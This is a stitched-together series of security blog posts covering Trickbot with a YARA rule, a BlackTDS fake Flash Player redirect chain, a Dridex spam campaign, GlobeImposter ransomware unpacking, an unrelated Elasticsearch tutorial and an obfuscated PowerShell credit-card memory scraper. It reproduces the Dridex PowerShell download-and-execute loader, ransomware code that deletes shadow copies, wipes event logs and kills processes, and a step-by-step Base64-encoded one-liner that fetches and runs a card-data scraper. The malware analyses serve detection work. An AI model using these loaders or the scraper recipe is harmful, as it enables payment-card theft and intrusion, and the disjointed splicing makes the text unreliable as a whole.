  • Operating System
  • IP-addres
e. ***USERS IN DOMAIN***
  • E-mail
  • Comment
  • Description
  • Name
II. Network Communication

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:
A. Content-Disposition: form-data; name=”proclist
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}
B. Content-Disposition: form-data; name=”sysinfo
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7″ appears to be a marker/separator specifically for the LDAP query collection upload to split the harvested information. Thanks to @Ring0x0  for the share.
III. YARA RULE
rule crime_trickbot_network_module_in_memory {
meta:
description = “Detects Trickbot network module in memory”
author = “@VK_Intel”
reference = “Detects unpacked Trickbot network64Dll”
date = “2018-04-02”
hash = “0df586aa0334dcbe047d24ce859d00e537fdb5e0ca41886dab27479b6fc61ba6”
strings:
$s0 = “***PROCESS LIST***” fullword wide
$s1 = “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))” fullword wide
$s2 = “***USERS IN DOMAIN***” fullword wide
$s3 = “Operating System: %ls” fullword wide
$s4 = “yesyes<conf ctl=\"SetCon" ascii
$s5 = “Content-Length: %lu” fullword wide
$s6 = “Boot Device – %ls” fullword wide
$s7 = “Serial Number – %ls” fullword wide
$s8 = “Content-Disposition: form-data; name=\”proclist\”” fullword ascii
$s9 = “Content-Disposition: form-data; name=\”sysinfo\”” fullword ascii
$s10 = “Product Type – Server” fullword wide
$s11 = “***SYSTEMINFO***” fullword wide
$s12 = “OS Version – %ls” fullword wide
$s13 = “(&(objectcategory=person)(samaccountname=*))” fullword wide
$s14 = “Product Type – Domain Controller” fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 70KB and 12 of ($s*)
}

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Malware Traffic Internals: BlackTDS Social Engineering Drive-By Leads to Fake "Adobe Flash Player"

Goal: Review and document latest BlackTDS traffic distribution leading to fake Adobe Flash Player and its social engineering theme.

Background

https://platform.twitter.com/widgets.js Traffic chain

I. BlackTDS domain redirect hxxp://smarttraffics[.]gq:

html, body { margin: 0; padding: 0; height : 100%; }

<span style="visibility: hidden“><a href="/insert“><VALUE<a href="/register“>
II. Popunder domain redirect using inser /register with hidden visibility.
hxxp://popcash[.]net/world/go/162193/360683
III. Popunder redirect
hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
IV. Fake “Adobe Flash Player” adware redirect:
Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=

V. Fake “Adobe Flash Player” adware download:
Domain: hxxp://www.bestrepositorytours[.]com/

    Addendum: Indicators of Compromise (IOCs):
    Domain:

    • Domain: hxxp://smarttraffics[.]gq
    Popunder:

    • Domain: hxxp://popcash[.]net/world/go/162193/360683
    Popunder redirect:
    • Domain: hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
    Fake Adobe Flash Player Adware Redirect:
    • Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=
    Fake Adobe Flash Player Adware Download:
    • Domain: hxxp://www.bestrepositorytours[.]com/
    Fake Adobe Flash Player Adware:
    • MD5: 69708785506cf581ea5f81725bdb849b
    Update (April 3, 2018): Edited domain referrer to hxxp://smarttraffics[.]gq

    Malware Spam Internals: Docusign Spam Leads Dridex Banking Malware Botnet ID “23005”

    Goal: Reverse and document the latest Dridex banking malware campaign related to botnet ID “23005.”

    https://platform.twitter.com/widgets.js
    Background:
    Thanks to @James_inthe_box, I decided to quickly analyze and document the Dridex botnet ID “23005” spam infection chain leading from the spam campaign impersonating DocuSign. The observed subject of the Dridex campaign was “Please DocuSign the attached Business Activity Statements.”
    Malware Spam Chain:
    I. Spam Microsoft Word Macro Document 

    II. CMD/PowerShell Execution & Download to %TMP%\jjkv.exe & %TMP%\gwzoxu.bat.
    Payload domains: 

    • hxxps://meshbazaar[.]com/src/point[.]pdf
    • hxxp://myhomegt[.]com/src/point[.]pdf

    The Dridex payloads were staged by the operators on March 29 14:12 GMT.

    III. Batch Script Binary Execution

    cmd /c PowerShell “‘PowerShell “”function MASWE([String] $senw){(New-Object System.Net.WebClient).DownloadFile($senw,”%TMP%\jjvkh.exe”);Start-Process ”%TMP%\jjvkh.exe”;} try{ MASWE(”hxxps://meshbazaar[.]com/src/point[.]pdf”)} catch{ MASWE(”hxxp://myhomegt[.]com/src/point[.]pdf”)}'”” | Out-File -encoding ASCII -FilePath %TMP%\gwzoxu[.]bat; Start-Process ‘%TMP%\gwzoxu.bat’ -WindowStyle Hidden”Botnet ID:
    IV. The Dridex binary contains four hardcoded peers communicating  on the quite unusual port 3889. These ports normally associated with “D and V Tester Control Port.”

    V. Addendum: Indicators of Compromise (IOCs):
    Spam subject:
    • “Please DocuSign the attached Business Activity Statements”

    Malicious Word loader (MD5):

    • 5E022694C0DBD1FBBC263D608E577949
    Dridex payload download:
    • hxxp://myhomegt[.]com/src/point[.]pdf
    • hxxps://meshbazaar[.]com/src/point[.]pdf
    First-layer peer block:

    • 46.105.131[.]88:443
    • 198.57.157[.]216:3889
    • 149.202.153[.]251:3889
    • 67.212.241[.]131:443

    Dridex “23005” binary (MD5):

    • MD5: 88ce6c0affcdbdc82abe53957dddfa12

    Let’s Learn: How to Unpack GlobeImposter ".726" Ransomware

    Goal: Unpack GlobeImposter ransomware payload using WriteProcessMemory API buffer’s dump (check out the same method as Locky from the previous blog).
    ToolollyDbgCFF Explorer, IDA Pro
    Credit@dvk01uk
    Malware SHA-256: 5b88544bebacba38708685b905a94742c7798bf64b6f90f46acbc3f6de4399e7
    Original GlobeImposter sample:

    Background
    GlobeImposter ransomware utilizes a loader/patcher algorithm patching and unloading the decoded payload in memory.

    Theory
    GlobeImposter ransomware patches itself using CreateProcessA API setting the creation flag to CREATE_SUSPENDED and writing itself into the buffer via WriteProcessMemory API. Next, the ransomware process won’t be executed immediately; it does not start until called ResumeThread. So, the ransomware has time to patch in memory.

    Practice:
    I. Load Ollydbg and click “File” ->
    II. Click “Go to” -> “Expression” -> Type “WriteProcessMemory” and set up a breakpoint on it using F2.
    III. Run the process using F9 and follow buffer to observe the unpacked GlobeImposter in the dump section.
    IV.  Then, click on “Backup” -> “Save data to file.”
    V. Verify the exported payload and IAT in CFF Explorer. Profit!
    VI. Enjoy analyzing the decoded payload in IDA Pro!
    (1) Registry persistency:

    HKEY\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\CertificatesCheck
    (b) GlobeImposter vssadmin & host script:
      GetTempFileNameW(&PathName, L”__tmp”, 0, &TempFileName);
      lstrcatW(&TempFileName, L”.bat”);
      result = CreateFileW(&TempFileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);
      v1 = result;
      if ( result != (HANDLE)-1 )
      {
        v2 = lstrlenA(“@echo off\r\nvssadmin.exe Delete Shadows /All /Quiet\r\nreg delete \”HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\” /va /f\r\nreg delete \”HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\” /f\r\nreg add \”HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\”\r\ncd %userprofile%\\documents\\\r\nattrib Default.rdp -s -h\r\ndel Default.rdp \r\nfor /F \”tokens=*\” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl \”%1\””);
        WriteFile(
          v1,
          “@echo off\r\n”
          “vssadmin.exe Delete Shadows /All /Quiet\r\n”
          “reg delete \”HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\” /va /f\r\n”
          “reg delete \”HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\” /f\r\n”
          “reg add \”HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\”\r\n”
          “cd %userprofile%\\documents\\\r\n”
          “attrib Default.rdp -s -h\r\n”
          “del Default.rdp \r\n”
          “for /F \”tokens=*\” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl \”%1\””,
          v2,
          &NumberOfBytesWritten,
          0);
        CloseHandle(v1);
        result = (HANDLE)sub_4126D7(&TempFileName);
    (c) RSA public encryption key function value:
     v18 = RSA_Encrypt_Function(
              “A57EEE174A1DBCC23CD0CC6045AF9E1CF07706D30588C86941DEC3DA5AA5483BBC85988DA7B18B5C18DA8BF09CC8AF7FD46E7DD57F729A”
              “3D122387BCFE8B86F7A1D051895CD8ABE50F52913C62729979155C7CEF78B114921691FD7F1E1B206B5F98700A053CF04DBE1C44A2D843”
              “EF0C85468F61ABCF5559FE56F124C383B538F4F16ADB61C42AB3B6BFBDDAB4ADC9CB9DFA615A6506CFCAA752C78B270C568B786FF9D50C”
              “A30E21C5431F83E4A2A7695C24BA262233F28D4253CB01C64410C246291DCE84147EB593730A90F013423DE1DFEA1823CCD07B82C36F6E”
              “EF0F6916219D036D395C4CEEC4FDF20CD997ABB3B8B1F2B6D4BBB5065E31516D7386BD23”,
              v15,
              0xC0u);

    ….
      v3 = lpString;
      memset(&v8, 0, 0x400u);
      memset(&v10, 0, 0x200u);
      sub_4108D0(&v12, v4);
      sub_40FBC8(&v11);
      sub_40FDEC(&v9);
      v5 = lstrlenA(“rsa_encrypt”);
      if ( !sub_40FB4F((int)&v11, (int)&v9, “rsa_encrypt”, v5) && !sub_40F391(&v14, v3) && !sub_40F391(&v15, “010001”) )
      {
        v13 = (unsigned int)(sub_40F4AA(&v14) + 7) >> 3;
        memmove(&v8, a2, a3);
        if ( sub_41028B(&v11, v6, a3, &v8, (int)&v10) )

          memset(&v10, 0, a3);
    (d) Taskill function terminating the following processes:
    • “sql”
    • “outlook”
    • “ssms”
    • “postgre”
    • “1c”
    • “excel”
    • “word”
     memset(&StartupInfo, 0, 0x44u);
      StartupInfo.cb = 68;
      result = CreateToolhelp32Snapshot(2u, 0);
      v2 = result;
      if ( result != (HANDLE)-1 )
      {
        pe.dwSize = 556;
        Process32FirstW(result, &pe);
        do
        {
          v3 = (LPCSTR *)off_41B950;
          while ( 1 )
          {
            v4 = sub_4128DF(pe.szExeFile, 0);
            v5 = lstrlenW(pe.szExeFile);
            for ( i = 0; i < v5; i = v8 + 1 )
            {
              v7 = sub_40C31A((char *)v4[i]);
              v4[v8] = v7;
            }
            if ( StrStrA(v4, *v3) )
              break;
            ++v3;
            if ( (signed int)v3 >= (signed int)&unk_41B96C )
              goto LABEL_10;
          }
          v9 = HeapCreate(0, 0x1000u, 0);
          v10 = (CHAR *)HeapAlloc(v9, 0, 0x100u);
          wsprintfA(v10, “%d”, pe.th32ProcessID);
          lstrcpyA(&String1, “taskkill /F /T /PID “);
          lstrcatA(&String1, v10);
          CreateProcessA(0, &String1, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
    LABEL_10:
          ;
        }
        while ( Process32NextW(v2, &pe) );
        result = (HANDLE)CloseHandle(v2);
      }
      return result;
    (d) Targeted exclusion extensions and README extortion message in Olly:

    Elasticsearch

    Elasticsearch Concept
    Goal: Document and annotate some quick notes on learning elasticsearch.

    I. CREATING YOUR OWN ANALYZER: SET UP ANALYZER SETTINGS

    curl -X PUT "http://localhost:9200/wiki" -d '{
    "index" : {
    "number_of_shards" : 4,
    "number_of_replicas" : 1,
    "analysis" : {
    "analyzer" : {
    "content" : {
    "type" : "custom",
    "tokenizer" : "standard",
    "filter" : ["lowercase", "stop", "kstem"],
    "char_filter" : ["html_strip"]
    }
    }
    }
    }

    }'

    II. PUT (CREATE) MAPPING":
    CREATE MAPPING (STRING -> TEXT) for INDEX

    curl -X PUT "http://localhost:9200/wiki/articles/_mapping" -d '{
    "articles" : {
    "_all" : { "enabled" : true } ,
    "properties" : {
    "Title" : { "type" : "text" , "analyzer" : "content" , "include_in_all" : false, "index" : "no" },
    "link" : { "type" : "text" , "include_in_all" : false, "index" : "no" },
    "Author" : { "type" : "text" , "include_in_all" : false },
    "timestamp" : { "type" : "date" , "format" : "dd-MM-yyyy HH:mm:ss", "include_in_all" : false },
    "html" : { "type" : "text" , "analyzer" : "content", "include_in_all" : true }
    }
    }
    }'

    A. GENERATE JSON OBJECT FOR ELASTICSEARCH

    python json_generator.py https://en.wikipedia.org/wiki/France > France.json
    '''
    # Python module script
    /*import urllib2
    import json
    import sys

    link = sys.argv[2]
    htmlObj = { "link" : link,
    "Author" : "anomymous",
    "timestamp" : "12-12-2018 14:16:00",
    "Title" : sys.argv[1]
    }
    response = urllib2.urlopen(link)
    htmlObj['html'] = response.read()
    print json.dumps(htmlObj, indent=4)
    */
    '''

    III. XPOST (PUSH) JSON FILE TO ELASTICSEARCH WIKI ARTICLES

    curl -XPOST "http://localhost:9200/wiki/articles/" -d @France.json

    IV. USING PHRASE QUERY TO SEARCH: SEARCH ELASTICSEARCH INDEX FOR CONTENT

    curl -X POST "http://localhost:9200/wiki/_search?pretty" -d '{
    "_source" : [
    "Title"
    ],
    "query" : {
    "query_string": {
    "query" : "mobile"
    }
    }
    }'

    V. USING THE HIGHLIGHTING FEATURE: SEARCH ELASTICSEARCH INDEX FOR CONTENT (HIGHLIGHTED)

    # Query highlighted content
    curl -X POST "http://localhost:9200/wiki/_search?pretty" -d '{
    "_source" : [
    "Title"
    ],
    "query" : {
    "query_string": {
    "query" : "mobile"
    }
    }
    "highlight" : {
    "pre_tags" : [""],
    "post_tags" : ["
    "],
    "fields" : {
    "Content" : {}
    }
    }
    }
    }'


    VI. PAGINATION

    curl -X POST "http://localhost:9200/wiki/_search?pretty" -d '{
    "from" : 0,
    "size" : 10,
    "query" : {
    "simple_query_string" : {
    "query" : "mobile",
    "fields" : [
    "_all"
    ]
    }
    },
    "highlight" : {
    "fields" : {
    "html" : {
    "pre_tags" : [
    "

    "
    ],
    "post_tags" : [
    "

    "
    ],
    "fragment_size" : 10,
    "number_of_fragments" :3
    }
    }
    }
    }'

    CHAPTER 2: BUILDING YOUR OWN E-COMMERCE SOLUTION

    type
    String
    Integer
    Long
    Float
    Double
    Boolean
    Date
    geo_point
    Null
    Ipv4

    I. CREATE (PUT) INDEX "products"

    curl -X PUT "http://localhost:9200/products" -d '{
    "index" : {
    "number_of_shards" : 1,
    "number_of_replicas" : 1
    }
    }'

    II. CREATING MAPPING: Put "product" as the type for "products" index

    curl -X PUT "http://localhost:9200/products/product/_mapping" -d '{
    "product" : {
    "properties" : {
    "name" : {
    "type" : "text"
    },
    "description" : {
    "type" : "text"
    },
    "dateOfManufactering" : {
    "type" : "date",
    "format" : "YYYY-MM-dd"
    },
    "price" : {
    "type" : "long"
    },
    "productType" : {
    "type" : "text",
    "include_in_all" : "false",
    "index" : "not_analyzed"
    },
    "totalBuy" : {
    "type" : "long",
    "include_in_all": "false",
    },
    "imageURL" : {
    "type" : "text",
    "include_in_all": "false",
    "index" : "no"
    },
    }
    }
    }'

    Obfuscated PowerShell Memory Scraping for Credit Cards

    Original Source & Inspiration: http://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper

    * Non-resident credit card memory scraper, now improved the obfuscation technique using -EncodedCommand
    * One-liner PowerShell script/downloader essentially does its dirty work without any additional malware corpus on the host
    * Great for penetration tests of various merchants or for PCI-DSS audit compliance

    • ​​(1) Setup a server with the Memory Scraper download
    • (2) Encode the PowerShell memory scraper using -EncodedCommand (Base64)
    • (3) Allow execution of scripts on the host via powershell.exe Set-ExecutionPolicy Unrestricted
    • (4) Execute the obfuscated script on the host​ that downloads the memory scraper and parses the memory process of notepad.exe for credit card Track1/2 data with Luhn algorithm

     -NoP -NonI -W Hidden -Enc 

    • powershell.exe  -exec bypass -NoP -NonI -W Hidden -Enc “KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADkAMwA6ADgAMAAwADAALwBtAGUAbQBfAHMAYwByAGEAcABlAHIALgBwAHMAMQAnACwAJwBtAGUAbQBfAHMAYwByAGEAcABlAHIALgBwAHMAMQAnACkAOwAuAC8AbQBlAG0AXwBzAGMAcgBhAHAAZQByAC4AcABzADEAIAAtAFAAcgBvAGMAIABuAG8AdABlAHAAYQBkADsA”
    Picture

    (1) On the server, set up a lightweight HTTP server

    • copy contents and python -m SimpleHTTPServer

    (2) Encode the PowerShell memory scraper using -EncodedCommand (Base64);

    Picture

    The following PowerShell is going to be encoded using -EncodedCommand instead of -Command:

    • powershell.exe -exec bypass -Command “(New-Object Net.WebClient).DownloadFile(‘http://192.168.0.193:8000/mem_scraper.ps1′,’mem_scraper.ps1′);./mem_scraper.ps1 -Proc notepad;)”

    Referencehttps://blogs.msdn.microsoft.com/timid/2014/03/26/powershell-encodedcommand-and-round-trips/

    • EncodedCommand

        Accepts a base-64-encoded string version of a command. Use this parameter
        to submit commands to Windows PowerShell that require complex quotation
        marks or curly braces

    ​# To use the -EncodedCommand parameter:
        $command = “(New-Object Net.WebClient).DownloadFile(‘http://192.168.0.193:8000/mem_scraper.ps1′,’mem_scraper.ps1′);./mem_scraper.ps1 -Proc notepad;)”
        $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
        $encodedCommand = [Convert]::ToBase64String($bytes) ”’KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADkAMwA6ADgAMAAwADAALwBtAGUAbQBfAHMAYwByAGEAcABlAHIALgBwAHMAMQAnACwAJwBtAGUAbQBfAHMAYwByAGEAcABlAHIALgBwAHMAMQAnACkAOwAuAC8AbQBlAG0AXwBzAGMAcgBhAHAAZQByAC4AcABzADEAIAAtAFAAcgBvAGMAIABuAG8AdABlAHAAYQBkADsA”’ # Base64-Encoded Command
    powershell.exe -encodedCommand $encodedCommand # Test

    Here is the reverse process:
    $decodedCommand = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($base64));
    ($command = “New-Object Net.WebClient).DownloadFile(‘http://192.168.0.193:8000/mem_scraper.ps1&#8242;,’mem_scraper.ps1’);./mem_scraper.ps1 -Proc notepad;”$bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encodedCommand = [Convert]::ToBase64String($bytes);powershell.exe -encodedCommand $encodedCommand)

    Picture

    The final obfuscated PowerShell one-liner is as follows:

    • powershell.exe -exec bypass -EncodedCommand”KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADkAMwA6ADgAMAAwADAALwBtAGUAbQBfAHMAYwByAGEAcABlAHIALgBwAHMAMQAnACwAJwBtAGUAbQBfAHMAYwByAGEAcABlAHIALgBwAHMAMQAnACkAOwAuAC8AbQBlAG0AXwBzAGMAcgBhAHAAZQByAC4AcABzADEAIAAtAFAAcgBvAGMAIABuAG8AdABlAHAAYQBkADsA”​

    (3) Allow execution of scripts on the host via powershell.exe Set-ExecutionPolicy Unrestricted
    The Set-ExecutionPolicy cmdlet enables you to determine which Windows PowerShell scripts (if any) will be allowed to run on your computer. Windows PowerShell has four different execution policies:

    • Restricted – No scripts can be run. Windows PowerShell can be used only in interactive mode.
    • AllSigned – Only scripts signed by a trusted publisher can be run.
    • RemoteSigned – Downloaded scripts must be signed by a trusted publisher before they can be run.
    • Unrestricted – No restrictions; all Windows PowerShell scripts can be run.

    Reference: https://technet.microsoft.com/en-us/library/ee176961.aspx

    (4) Execute the obfuscated script on the host​ that downloads the memory scraper and parses the memory process of notepad.exe for credit card Track1/2 data with Luhn algorithm

    Picture